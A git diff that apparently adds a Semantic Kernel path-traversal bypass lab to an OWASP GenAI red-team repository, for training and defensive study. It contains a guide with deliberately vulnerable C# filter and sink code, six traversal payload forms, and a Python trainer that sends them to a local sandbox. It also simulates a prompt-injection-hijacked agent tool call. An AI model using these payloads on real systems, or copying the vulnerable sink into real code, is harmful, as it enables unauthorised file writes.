diff --git a/.gitignore b/.gitignore index 3db0f28..41383f5 100644 --- a/.gitignore +++ b/.gitignore @@ -207,4 +207,4 @@ marimo/_lsp/ __marimo__/ # MacOS -.DS_Store \ No newline at end of file +.DS_Storesandboxes/agentic_local_semantickernel/app/data/ diff --git a/README.md b/README.md index cf5cd1d..cbd32bb 100644 --- a/README.md +++ b/README.md @@ -40,11 +40,13 @@ The [Legacy Repository](https://github.com/OWASP/www-project-top-10-for-large-la │   ├── LocalAI_v2.17.1 │   ├── n8n_RCE_via_file_write │   ├── Ni8mare +│   ├── semantickernel │   └── promptfoo ├── LICENSE ├── README.md ├── sandboxes │   ├── agentic_local_n8n_v1.65.0 +│   ├── agentic_local_semantickernel │   ├── llm_local │   ├── llm_local_InvokeAI_v5.3.0 │   ├── llm_local_langchain_core_v1.2.4 @@ -181,6 +183,9 @@ uv --version * **[n8n Vulnerable Sandbox](sandboxes/agentic_local_n8n_v1.65.0/README.md)** * **Summary**: A robust, containerized environment running **n8n v1.65.0**. This version is vulnerable to **four critical CVEs**: **Ni8mare** (CVE-2026-21858), **N8scape** (CVE-2025-68668), **CVE-2025-68613**, and **CVE-2026-21877**. The sandbox is pre-configured with dangerous nodes enabled (`NODES_EXCLUDE=""`) to allow red teamers to practice multiple exploitation techniques (RCE, sandbox escape, file write) safely in isolation. +* **[Semantic Kernel Vulnerable Sandbox](sandboxes/agentic_local_semantickernel/README.md)** + * **Summary**: A containerized sandbox running **Microsoft Semantic Kernel v1.48.0** demonstrating **6 active evasion techniques** against the official **CVE-2026-25592** path traversal remediation. Despite Microsoft's patch (PR #13683 — `AllowedDirectories` as opt-in "Breaking Change"), all six Type Confusion bypass vectors remain functional. The sandbox also demonstrates **Commit `fa2d52f6`** ("Shell Blinding") which masks output paths from the LLM context but fails to prevent the underlying file write — a purely cosmetic fix. Includes a dual-mode `.NET 8.0` REST API: **UNHARDENED** (no filter) and **HARDENED** (`PathSanitizationFilter` via `LAB_HARDENED=true`). Reference: [JDP-2026-001](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) — CVSS 10.0 Critical. + ### `exploitation/` * **[Red Team Example](exploitation/example/README.md)** @@ -217,6 +222,18 @@ uv --version * **[Adversarial Prompt Generator](exploitation/AdversarialGenerator/README.md)** * **Summary**: An automated system for generating diverse, category-specific jailbreak and prompt-injection payloads, and executing them against a local LLM sandbox. Uses `attack.py` to run attacks and generates detailed Markdown reports of the results. +* **[Semantic Kernel CVE-2026-25592 Bypass Trainer](exploitation/semantickernel/README.md)** + * **Summary**: An interactive training wizard and automated verification suite demonstrating **6 Type Confusion bypass vectors** that evade Microsoft's **CVE-2026-25592** patch in Semantic Kernel v1.48.0. The filter uses `if (arg is string s)` — a check that fails when arguments are passed as JSON arrays, objects, or encoded strings (CWE-843). The execution sink deserializes these complex types back into strings, creating a **Time-of-Check / Time-of-Use** mismatch. Also demonstrates **CWE-1039** (AutoInvoke) exploitation and **Commit `fa2d52f6`** ("Shell Blinding") bypass — Microsoft's cosmetic output masking that redacts paths from LLM context but does not prevent the file write. + + **Includes:** + * `interactive_trainer.py`: Menu-driven CLI with all 6 vectors + AutoInvoke Shell Blinding toggle + built-in container management (start/stop/toggle hardened mode) + * `verify_all.sh`: Double-pass automated verification (Unhardened vs. Hardened) with OOB filesystem validation via `podman exec` + * `attack.py` (type confusion & autoinvoke): Programmatic payload dispatchers + + **Bypass Vectors:** JSON Array Confusion, Object Reflection, Base64 Encoding, URL Encoding, Unicode Homoglyph (U+2044), Hybrid Canonicalization. + + **Reference:** [JDP-2026-001 White Paper](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) + ### `tutorials/` * **[Community Resources for Agentic AI Red Teaming](tutorials/community_resources.md)** @@ -231,4 +248,5 @@ uv --version ## Contribution Guide -Please refer to [CONTRIBUTING.md](CONTRIBUTING.md) for instructions on how to add new sandboxes and exploitation examples. \ No newline at end of file +Please refer to [CONTRIBUTING.md](CONTRIBUTING.md) for instructions on how to add new sandboxes and exploitation examples. + diff --git a/exploitation/README.md b/exploitation/README.md index 3557fb5..eceb8b6 100644 --- a/exploitation/README.md +++ b/exploitation/README.md @@ -26,6 +26,8 @@ The goal of these exploitations is to demonstrate practical applications of both * **`n8n_RCE_via_file_write/`**: A complete, end-to-end example of exploiting **CVE-2026-21877** in a vulnerable n8n instance. It demonstrates how an authenticated workflow injection can lead to Remote Code Execution (RCE) via arbitrary file write. +* **`semantickernel/`**: A master-class, double-pass training lab demonstrating **CVE-2026-25592** bypasses (Type Confusion / Late Canonicalization) and **CWE-1039** (AutoInvoke Kernel Functions Abuse) with "Shell Blinding" (Commit fa2d52f6) evasion inside a Microsoft Semantic Kernel orchestration suite. Features an automated testing harness and an interactive educational CLI. + * **`AdversarialGenerator/`**: A complete, automated system design and implementation for generating diverse, category-specific jailbreak and prompt-injection payloads, and executing them against a local LLM sandbox. It uses Python to run the attack pipeline and outputs detailed Markdown reports. diff --git a/exploitation/semantickernel/README.md b/exploitation/semantickernel/README.md new file mode 100644 index 0000000..cdcf95c --- /dev/null +++ b/exploitation/semantickernel/README.md @@ -0,0 +1,214 @@ +# Semantic Kernel CVE-2026-25592 Bypass & CWE-1039 AutoInvoke Lab + +## Overview + +This laboratory demonstrates an **Insecure Orchestration Vulnerability (OWASP Top 10 for LLMs: LLM06)** within Microsoft Semantic Kernel (v1.47.0–1.48.0). Students will explore how an architectural **Trust Gap** — the difference between **Time-of-Check** (filter validation) and **Time-of-Use** (execution sink deserialization) — allows attackers to bypass string-matching security mitigations using multi-layered serialization and encoding techniques. + +**Vulnerability Class:** CWE-843 (Type Confusion) → CWE-22 (Path Traversal) → CWE-94 (Code Injection) +**CVSS v3.1:** 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) +**Reference:** [JDP-2026-001 White Paper](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) + +--- + +## Core Learning Objectives + +- **Understand the Trust Gap:** See how components inside an AI orchestration framework pass data without recursive canonicalization. +- **Observe TOCTOU in AI Sinks:** Understand how checking a payload at the input filter *before* decoding allows malformed inputs to evade security boundaries. +- **Evaluate Serialization Evasions:** Learn how **6 Type Confusion bypass vectors** (JSON Array, Object Reflection, Base64, URL Encoding, Unicode Homoglyph, Hybrid Canonicalization) render basic string validation ineffective. +- **Analyze AutoInvoke Privilege Escalation (CWE-1039):** See how `ToolCallBehavior.AutoInvokeKernelFunctions` allows an LLM to autonomously execute system tools without human-in-the-loop (HITL) approval. +- **Bypass Shell Blinding (Commit `fa2d52f6`):** Microsoft's cosmetic fix masks output paths from the LLM context but does not prevent the underlying file write — verified Out-of-Band via `podman exec`. + +--- + +## Lab Architecture + +The lab utilizes a containerized application (`sk-vulnerable`) running **Microsoft Semantic Kernel v1.48.0** with a deliberately vulnerable `FilePlugin`: + +1. **The Filter:** A `PathSanitizationFilter` converts arguments to strings and scans for explicit directory traversal patterns (`..`, `/`, `%2f`). +2. **The Sink:** The native C# file writer decodes and canonicalizes arguments *after* the filter has already run, allowing specific payload formats to evade detection. + +### Dual-Mode Operation + +| Mode | Environment Variable | PathSanitizationFilter | Expected Behavior | +|------|---------------------|----------------------|-------------------| +| **UNHARDENED** | Not set | Not registered | All 6 vectors + AutoInvoke succeed | +| **HARDENED** | `LAB_HARDENED=true` | Registered | Vectors 1, 2, 4, 5 blocked; Vectors 3, 6 (Base64/Hybrid) bypass due to TOCTOU | + +--- + +## Quick Start: Interactive Training Wizard + +The **`interactive_trainer.py`** provides a menu-driven CLI that walks through all exploitation scenarios with built-in container management. + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel +chmod +x interactive_trainer.py +./interactive_trainer.py +``` + +### Menu Options + +- **`0` Manage Sandbox Container** — Start/stop containers in UNHARDENED or HARDENED mode without leaving the trainer. +- **`1` Lesson 1: CVE-2026-25592 Bypass** — Practice all 6 Type Confusion vectors with auto-fill hints and real-time telemetry mapping. +- **`2` Lesson 2: AutoInvoke Exploitation** — Simulate autonomous LLM tool execution with Shell Blinding toggle (A = disabled, B = enabled). +- **`3` Exit** — Clean shutdown. + +### Interactive Features + +- **Auto-fill hints** — Press Enter to send the suggested payload, or type your own custom input. +- **Real-time telemetry** — Visual step-by-step execution flow (Filter Check → Canonicalization → Disk Access). +- **Live status** — Shows container state (ONLINE/OFFLINE) and shield mode (UNHARDENED/HARDENED) on every screen. + +--- + +## Exercise 1: Automated Verification Suite + +For a completely automated double-pass evaluation (builds, deploys, and tests all vectors autonomously): + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel +chmod +x verify_all.sh +./verify_all.sh +``` + +This script performs two passes: + +### Pass 1: Unhardened Mode (The Baseline Vulnerability) +- All 6 Type Confusion vectors return `Success`. +- All 4 AutoInvoke scenarios execute autonomously. +- **OOB Verification:** Payloads land at `/config.txt` and `/app/config.txt` inside the container. + +### Pass 2: Hardened Mode (The Filtering Illusion) +- Vectors 1, 2, 4, 5 are **blocked** — the filter catches literal `..` and `%2f`. +- Vectors 3 and 6 (Base64, Hybrid) **bypass** the filter — demonstrating the TOCTOU flaw. +- All 4 AutoInvoke scenarios are **blocked** by the filter. +- **OOB Verification:** Only vectors 3 and 6 land on the filesystem. + +--- + +## Exercise 2: Type Confusion Bypass Vectors (Lesson 1) + +Select any vector from the interactive trainer menu to practice: + +| Vector | Technique | Filter Bypass Method | +|--------|-----------|---------------------| +| **1** | JSON Array Confusion | `["..", "..", "config.txt"]` — The `is string` check returns False for arrays | +| **2** | Object Reflection | `{"path": "../../config.txt"}` — Reflection extracts the `path` property downstream | +| **3** | Base64 Encoding | `Li4vLi4vY29uZmlnLnR4dA==` — No literal `..` or `/` in the encoded string | +| **4** | URL Encoding | `..%2f..%2fconfig.txt` — `%2f` hides the slash from the filter | +| **5** | Unicode Homoglyph | `..⁄..⁄config.txt` — U+2044 normalizes to `/` at the OS level | +| **6** | Hybrid Canonicalization | `SafeFolder%2f%2e%2e%2fProgram%2ecs` — Multi-layer encoding exhausts non-recursive filters | + +--- + +## Exercise 3: AutoInvoke & Shell Blinding (Lesson 2) + +### The Trust Gap + +When `ToolCallBehavior.AutoInvokeKernelFunctions` is active, the framework trusts the LLM's structured output as system instructions without verification. This creates a **CWE-1039** vulnerability. + +### Shell Blinding (Commit `fa2d52f6`) + +Microsoft's mitigation masks output paths from the LLM context: + +```csharp +// Masking system output from the LLM execution context +var result = await process.StandardOutput.ReadToEndAsync(); +return "Command executed successfully."; +``` + +**This is a purely cosmetic fix.** The file write still executes on the server. The interactive trainer verifies this Out-of-Band: + +```bash +podman exec sk-vulnerable cat /app/config.txt +``` + +--- + +## Code Review: Why the Filter Failed + +Open the application source to examine the vulnerability: + +```bash +cat ../../sandboxes/agentic_local_semantickernel/app/Program.cs +``` + +### The Inspection Layer (Time-of-Check) + +```csharp +public class PathSanitizationFilter : IFunctionInvocationFilter { + public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) { + foreach (var arg in context.Arguments) { + // BYPASS: If arg.Value is a JsonElement, this 'is string' check evaluates to false + if (arg.Value is string str && (str.Contains("..") || str.Contains("/"))) + throw new UnauthorizedAccessException("Blocked!"); + } + await next(context); + } +} +``` + +### The Execution Layer (Time-of-Use) + +```csharp +public void SaveConversation(object path, string content) { + string stringPath = path?.ToString() ?? "default.txt"; + + // The Execution Sink decodes AFTER the security filter has executed + if (stringPath.Contains("%")) stringPath = WebUtility.UrlDecode(stringPath); + if (stringPath.Contains("\u2044")) stringPath = stringPath.Replace("\u2044", "/"); + if (path is string s && s.EndsWith("==")) + stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s)); + else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) + stringPath = el[0].GetString() ?? "default.txt"; + else if (path.GetType().GetProperty("path") != null) + stringPath = path.GetType().GetProperty("path")?.GetValue(path)?.ToString() ?? "default.txt"; + + File.AppendAllText(stringPath, content); +} +``` + +### Technical Takeaway + +The filter checks for literal `..` characters against the **encoded** payload string. Because the encoded form lacks dots or slashes, it passes inspection. The execution sink then decodes the string back into traversal segments **after** validation, executing the file write Out-of-Band. + +This is a classic **Time-of-Check / Time-of-Use (TOCTOU)** vulnerability. + +--- + +## The Whack-a-Mole Problem + +Every filter fix creates a new bypass vector: + +| Round | Filter | Bypass | +|-------|--------|--------| +| 1 | `if (arg is string s)` | Send JSON Array instead (Type Confusion) | +| 2 | `if (arg.ToString().Contains(".."))` | Base64-encode the path (no `..` in encoded form) | +| 3 | Hypothetical: decode Base64, then check | Double-encode, or use a different encoding | + +**The root cause is architectural, not a filter bug.** The framework trusts the LLM's output as system commands. Until the architecture changes — mandatory path anchoring, type-safe execution sinks, recursive canonicalization pipelines, and compute isolation — every filter fix will be met with a new bypass. + +--- + +## Files in This Directory + +| File | Purpose | +|------|---------| +| `interactive_trainer.py` | Menu-driven CLI trainer with container management | +| `verify_all.sh` | Double-pass automated verification suite | +| `semantickernel_type_confusion/attack.py` | Programmatic Type Confusion payload dispatcher | +| `semantickernel_autoinvoke/attack.py` | Programmatic AutoInvoke payload dispatcher | +| `README.md` | This lab guide | + +--- + +## References & Additional Reading + +- **CVE-2026-25592:** Path Traversal in Semantic Kernel (bypassed via JDP-2026-001) +- **CWE-843:** Type Confusion (Late Canonicalization) +- **CWE-1039:** Insecure Automated Optimizations (AutoInvoke) +- **OWASP Top 10 for LLMs:** LLM06 - Insecure Orchestration +- **Commit `fa2d52f6`:** Shell Blinding (cosmetic output masking) +- **PR #13683:** AllowedDirectories (opt-in "Breaking Change" — disabled by default) +- **Research Paper:** [JDP-2026-001 White Paper & Disclosure Archive](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) + diff --git a/exploitation/semantickernel/interactive_trainer.py b/exploitation/semantickernel/interactive_trainer.py new file mode 100755 index 0000000..7ce5fdc --- /dev/null +++ b/exploitation/semantickernel/interactive_trainer.py @@ -0,0 +1,607 @@ +#!/usr/bin/env python3 +""" +OWASP GenAI Red Team Lab - Interactive Training Wizard +Target: Microsoft Semantic Kernel (CVE-2026-25592 & CWE-1039) +Educational Companion Guide - Steps the student through hands-on exploitation. + +Author: Jeff Ponte (JDP Security Research) +Reference Research: JDP-2026-001 +https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html +""" + +import json +import subprocess +import sys +import time + +import requests + +# Terminal Colors for Premium CLI look +RESET = "\033[0m" +BOLD = "\033[1m" +GREEN = "\033[32m" +RED = "\033[31m" +YELLOW = "\033[33m" +BLUE = "\033[34m" +CYAN = "\033[36m" +MAGENTA = "\033[35m" + + +def print_header(title): + print(f"\n{BOLD}{CYAN}{'='*80}{RESET}") + print(f"{BOLD}{CYAN} {title:^76}{RESET}") + print(f"{BOLD}{CYAN}{'='*80}{RESET}\n") + + +def show_references(): + print( + f"\n{BOLD}{MAGENTA}┌──────────────────────────────────────────────────────────────────────────┐{RESET}" + ) + print( + f"{BOLD}{MAGENTA}│ REFERENCES & ADDITIONAL READING │{RESET}" + ) + print( + f"{BOLD}{MAGENTA}├──────────────────────────────────────────────────────────────────────────┤{RESET}" + ) + print( + f" {BOLD}• CVE-2026-25592 (Bypassed via JDP-2026-001):{RESET} Path Traversal in Microsoft Semantic Kernel" + ) + print( + f" {BOLD}• JDP-2026-001:{RESET} Critical bypass of CVE-2026-25592 filters via Type Confusion" + ) + print(f" {BOLD}• OWASP Top 10 LLMs:{RESET} LLM06 - Insecure Orchestration") + print(f" {BOLD}• CWE-1039:{RESET} Insecure Automated Optimizations (AutoInvoke)") + print(f" {BOLD}• CWE-843:{RESET} Type Confusion (Late Canonicalization)") + print( + f" {BOLD}• Research Paper:{RESET} [JDP-2026-001 White Paper & Disclosure Archive]" + ) + print( + f" {BLUE}https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html{RESET}" + ) + print( + f"{BOLD}{MAGENTA}└──────────────────────────────────────────────────────────────────────────┘{RESET}\n" + ) + + +def check_sandbox_online(target): + try: + r = requests.get(f"{target}/api/health", timeout=2) + if r.status_code == 200: + return r.json() + except Exception: + pass + return None + + +def type_confusion_arena(target): + print_header( + "LESSON 1: THE TYPE CONFUSION SANDBOX BREAKOUT (CVE-2026-25592 BYPASS)" + ) + print(f"{BOLD}Architectural Concept (JDP-2026-001):{RESET}") + print( + " Microsoft addressed directory containment in PR #13683 via 'AllowedDirectories'." + ) + print( + " However, because it was classified as a Breaking Change, it remains strictly" + ) + print(" OPT-IN. In standard deployments, the core plugin uses loose type mapping") + print(" (`object path`). The security filter only checks: `if (arg is string s)`.") + print(" If we pass objects, arrays, or encoded types, the check skips completely,") + print(" while the downstream C# execution sink deserializes them back to strings!") + print( + f" This represents an active {RED}bypass of CVE-2026-25592{RESET} protections." + ) + + print( + f"\n{YELLOW}[i] Objective: Bypass the string filter to write to `/config.txt` outside the sandbox.{RESET}" + ) + + print( + f"\n{BOLD}Select one of the 6 Bypass Methods to Analyze and Construct:{RESET}" + ) + print( + f" {BOLD}{GREEN}1{RESET}) Vector 1: JSON Array Confusion -- Wrapper bypasses string check directly." + ) + print( + f" {BOLD}{GREEN}2{RESET}) Vector 2: Object Reflection -- Custom inner-property evasion." + ) + print( + f" {BOLD}{GREEN}3{RESET}) Vector 3: Base64 Decoded Bypass -- Alphanumeric encoding hides separators." + ) + print( + f" {BOLD}{GREEN}4{RESET}) Vector 4: URL Encoding Evasion -- Hex representation escapes scan checks." + ) + print( + f" {BOLD}{GREEN}5{RESET}) Vector 5: Unicode Homoglyph -- U+2044 Normalizes to '/' downstream." + ) + print( + f" {BOLD}{GREEN}6{RESET}) Vector 6: Multi-Layered Hybrid -- URL-encoded path traversal." + ) + print(f" {BOLD}{GREEN}7{RESET}) Return to Main Menu") + + choice = input(f"\n{BOLD}Choose vector (1-7): {RESET}").strip() + + if choice == "1": + print_header("VECTOR 1: JSON ARRAY CONFUSION (CVE-2026-25592 BYPASS)") + print( + " The filter evaluates: `arg.Value is string` which returns FALSE for lists." + ) + print( + " The execution sink later extracts index 0 natively: `../../config.txt`." + ) + + hint = '["..", "..", "config.txt"]' + print(f"\n {BOLD}Goal:{RESET} Send path as a JSON array instead of a string.") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + try: + parsed = json.loads(input_payload) + if not isinstance(parsed, list): + raise ValueError("Must be a list") + except Exception as e: + print( + f"\n{RED}[❌] JSON Syntax Error: Must be a valid JSON array! ({e}){RESET}" + ) + return + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": parsed, + "content": "INTERACTIVE_JSON_ARRAY_TRAVERSAL\n", + }, + } + submit_payload(target, "/api/invoke", payload, "JSON Array") + + elif choice == "2": + print_header("VECTOR 2: OBJECT REFLECTION BYPASS (CVE-2026-25592 BYPASS)") + print( + " Passing a JSON object with a 'path' property bypasses the string check." + ) + print(" The sink uses C# reflection to extract the property dynamically.") + + hint = '{"path": "../../config.txt"}' + print(f"\n {BOLD}Goal:{RESET} Send a JSON object containing a 'path' key.") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + try: + parsed = json.loads(input_payload) + if not isinstance(parsed, dict): + raise ValueError("Must be a dictionary") + except Exception as e: + print( + f"\n{RED}[❌] JSON Syntax Error: Must be a valid JSON object! ({e}){RESET}" + ) + return + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": {"path": parsed, "content": "INTERACTIVE_OBJECT_REFLECTION\n"}, + } + submit_payload(target, "/api/invoke", payload, "Object Reflection") + + elif choice == "3": + print_header("VECTOR 3: BASE64 ENCODED BYPASS (CVE-2026-25592 BYPASS)") + print(" The filter inspects the argument BEFORE decoding (Time of Check).") + print(" Because 'Li4vLi4vY29uZmlnLnR4dA==' has no dots or slashes, it passes.") + print( + " At execution time (Time of Use), the plugin decodes and executes the write!" + ) + + hint = "Li4vLi4vY29uZmlnLnR4dA==" + print( + f"\n {BOLD}Goal:{RESET} Enter Base64-encoded string for `../../config.txt`." + ) + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": input_payload, + "content": "INTERACTIVE_BASE64_BYPASS\n", + }, + } + submit_payload(target, "/api/invoke", payload, "Base64 Evasion") + + elif choice == "4": + print_header("VECTOR 4: URL ENCODING EVASION (CVE-2026-25592 BYPASS)") + print(" Using '%2f' instead of '/' hides traversal from the filter.") + print(" WebUtility.UrlDecode() decodes it at the execution sink.") + + hint = "..%2f..%2fconfig.txt" + print(f"\n {BOLD}Goal:{RESET} Enter a URL-encoded traversal path.") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": {"path": input_payload, "content": "INTERACTIVE_URL_ENCODE\n"}, + } + submit_payload(target, "/api/invoke", payload, "URL Encoding") + + elif choice == "5": + print_header( + "VECTOR 5: UNICODE HOMOGLYPH NORMALIZATION (CVE-2026-25592 BYPASS)" + ) + print( + " The string filter scans for '/' but misses the Unicode Homoglyph 'Fraction Slash' (U+2044: ⁄)." + ) + print(" During execution, the underlying OS normalizes it to a native '/'.") + + hint = "..⁄..⁄config.txt" + print(f"\n {BOLD}Goal:{RESET} Use fraction slashes (⁄) in your path.") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": input_payload, + "content": "INTERACTIVE_UNICODE_HOMOGLYPH\n", + }, + } + submit_payload(target, "/api/invoke", payload, "Unicode Normalization") + + elif choice == "6": + print_header("VECTOR 6: MULTI-LAYERED HYBRID CONFUSION (CVE-2026-25592 BYPASS)") + print(" Combines URL encoding with directory traversal to exhaust") + print(" non-recursive validation. The filter sees no literal slashes.") + print(" WebUtility.UrlDecode() decodes '%2f'→'/' and '%2e'→'.' at execution.") + + hint = "SafeFolder%2f%2e%2e%2fProgram%2ecs" + print(f"\n {BOLD}Goal:{RESET} Enter a URL-encoded hybrid path.") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint}`" + ) + input_payload = input(f" {YELLOW}> {RESET}").strip() + + if not input_payload: + input_payload = hint + print(f" {BLUE}Auto-filled: {input_payload}{RESET}") + + payload = { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": input_payload, + "content": "INTERACTIVE_HYBRID_TRAVERSAL\n", + }, + } + submit_payload(target, "/api/invoke", payload, "Hybrid Canonicalization") + + else: + return + + +def submit_payload(target, route, payload, vector_name): + print(f"\n{CYAN}[*] Dispatching payload to {target}{route}...{RESET}") + + try: + r = requests.post(f"{target}{route}", json=payload, timeout=5) + response_json = r.json() if r.status_code == 200 else {} + result_text = response_json.get("result", "") + + if r.status_code == 200 and "failed" not in result_text.lower(): + print( + f"\n{GREEN}{BOLD}[✅] EXPLOITATION TRIGGERED SUCCESSFULLY (200 OK){RESET}" + ) + print(f" Server Return Value: {GREEN}{result_text}{RESET}") + visualize_execution_flow(vector_name, True) + else: + print( + f"\n{RED}{BOLD}[❌] EXPLOIT BLOCKED BY MITIGATION MIDDLEWARE (HTTP {r.status_code}){RESET}" + ) + print( + f" Server Message: {RED}{r.text if r.text else 'Blocked by pipeline security policy.'}{RESET}" + ) + visualize_execution_flow(vector_name, False) + except Exception as e: + print(f"\n{RED}[❌] Connection Error: Could not reach sandbox. ({e}){RESET}") + + +def visualize_execution_flow(vector_name, success): + print(f"\n{BOLD}🔬 Real-Time Telemetry Mapping:{RESET}") + time.sleep(0.4) + print(" [1] Input ingestion -> Argument parsed by ASP.NET Minimal API.") + time.sleep(0.4) + + if success: + print( + f" [2] Filter Check -> {GREEN}PASSED (The bypass vector successfully bypassed the Type Check!){RESET}" + ) + time.sleep(0.4) + print( + f" [3] Canonicalization-> {YELLOW}Parsed downstream inside execution plugin sink.{RESET}" + ) + time.sleep(0.4) + print( + f" [4] Disk Access -> {RED}Out-of-band write executed successfully outside sandbox boundary!{RESET}" + ) + else: + print( + f" [2] Filter Check -> {RED}BLOCKED! Sanitization check caught traversal patterns.{RESET}" + ) + time.sleep(0.4) + print( + f" [3] Pipeline State -> Halted. Target execution sink remains unaffected." + ) + + +def autoinvoke_simulator(target): + print_header("LESSON 2: AUTO-INVOCATION PRIVILEGE ESCALATION (CWE-1039)") + print(f"{BOLD}Concept:{RESET}") + print( + " When `ToolCallBehavior.AutoInvokeKernelFunctions` is active, the framework" + ) + print( + " trusts the LLM's structured output as system instructions without verification." + ) + + print(f"\n{YELLOW}[i] Select Shell Blinding mode:{RESET}") + print(f" {BOLD}{GREEN}A{RESET}) Without Shell Blinding (shows raw path leak)") + print( + f" {BOLD}{GREEN}B{RESET}) With Shell Blinding (fa2d52f6 active - cosmetic redaction)" + ) + blinding_choice = input(f"\n{BOLD}Choose mode (A/B): {RESET}").strip().upper() + shell_blinding_active = blinding_choice == "B" + + if shell_blinding_active: + print(f"\n {YELLOW}[i] Shell Blinding (Commit fa2d52f6) is ACTIVE.{RESET}") + print(" Microsoft's fix masks the path from LLM output.") + print(" But the file write STILL EXECUTES on the server!") + else: + print(f"\n {YELLOW}[i] Shell Blinding is DISABLED.{RESET}") + print(" The raw path will be visible in the framework output.") + + print( + f"\n{YELLOW}[i] Challenge: Simulate a hijacked LLM context calling FileTools-SaveConversation.{RESET}" + ) + + hint_path = "../../config.txt" + print(f"\n Where should the hijacked LLM tool write?") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint_path}`" + ) + path_input = input(f" {YELLOW}> {RESET}").strip() + if not path_input: + path_input = hint_path + print(f" {BLUE}Auto-filled: {path_input}{RESET}") + + hint_content = "AUTOINVOKE_INTERACTIVE_LANDED" + print(f"\n What malicious payload should be injected?") + print( + f" {CYAN}[AUTOFILL HINT]{RESET} Press {BOLD}Enter{RESET} to send: `{hint_content}`" + ) + content_input = input(f" {YELLOW}> {RESET}").strip() + if not content_input: + content_input = hint_content + print(f" {BLUE}Auto-filled: {content_input}{RESET}") + + simulated_tool_call = { + "userPrompt": "Simulated Prompt Injection Hijack", + "toolCall": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": {"path": path_input, "content": f"{content_input}\n"}, + }, + } + + if shell_blinding_active: + simulated_tool_call["shellBlinding"] = True + + print( + f"\n{CYAN}[*] Dispatching autonomous tool execution request to orchestrator...{RESET}" + ) + try: + r = requests.post( + f"{target}/api/autoinvoke", json=simulated_tool_call, timeout=5 + ) + if r.status_code == 200: + res = r.json() + output_result = res.get("result", "") + + print(f"\n{GREEN}{BOLD}[✅] TOOL EXECUTED AUTONOMOUSLY (200 OK){RESET}") + print( + f" Orchestrator returned console output: {CYAN}{output_result}{RESET}" + ) + + if shell_blinding_active and "REDACTED" in output_result: + print(f"\n{YELLOW}[!] SHELL BLINDING ANALYSIS (fa2d52f6):{RESET}") + print( + " Commit 'fa2d52f6' successfully redacted the written path from framework outputs." + ) + print(" However, the file was STILL written to disk!") + print( + f" Verify OOB: {BOLD}podman exec sk-vulnerable cat /app/config.txt{RESET}" + ) + elif not shell_blinding_active: + print(f"\n{GREEN}[!] RAW PATH VISIBLE:{RESET}") + print( + " Without Shell Blinding, the full path is exposed in the output." + ) + print(" This demonstrates what the cosmetic fix hides.") + else: + print( + f"\n{RED}[❌] Tool call rejected (HTTP {r.status_code}): {r.text}{RESET}" + ) + except Exception as e: + print(f"{RED}[❌] Connection Error: {e}{RESET}") + + +def main(): + target = "http://127.0.0.1:8000" + + while True: + print_header("OWASP GENAI LAB: SEMANTIC KERNEL INTERACTIVE TRAINING") + show_references() + + metadata = check_sandbox_online(target) + if metadata: + is_hardened = metadata.get("hardened", False) + harden_str = ( + f"{GREEN}HARDENED{RESET}" if is_hardened else f"{RED}UNHARDENED{RESET}" + ) + status_str = f"{GREEN}ONLINE (Shield Mode: {harden_str}){RESET}" + else: + status_str = ( + f"{RED}OFFLINE (Use option 0 to start the sandbox container){RESET}" + ) + + print(f" {BOLD}Target System Status:{RESET} {status_str}") + print( + " This wizard guides you through hands-on testing of remote containment breaks." + ) + print(f" {BOLD}Architectural Framework Note:{RESET}") + print( + " Microsoft Semantic Kernel is integrated as the foundation of the new" + ) + print( + " Microsoft Agent Framework (MAF) v1.0. This lab exercises the underlying" + ) + print(" orchestration patterns present across both systems.") + + print(f"\n{BOLD}Select a training arena:{RESET}") + print(f" {BOLD}{GREEN}0{RESET}) Manage Sandbox Container (start/stop/toggle)") + print( + f" {BOLD}{GREEN}1{RESET}) Lesson 1: CVE-2026-25592 Bypass (6 Type Confusion Vectors)" + ) + print( + f" 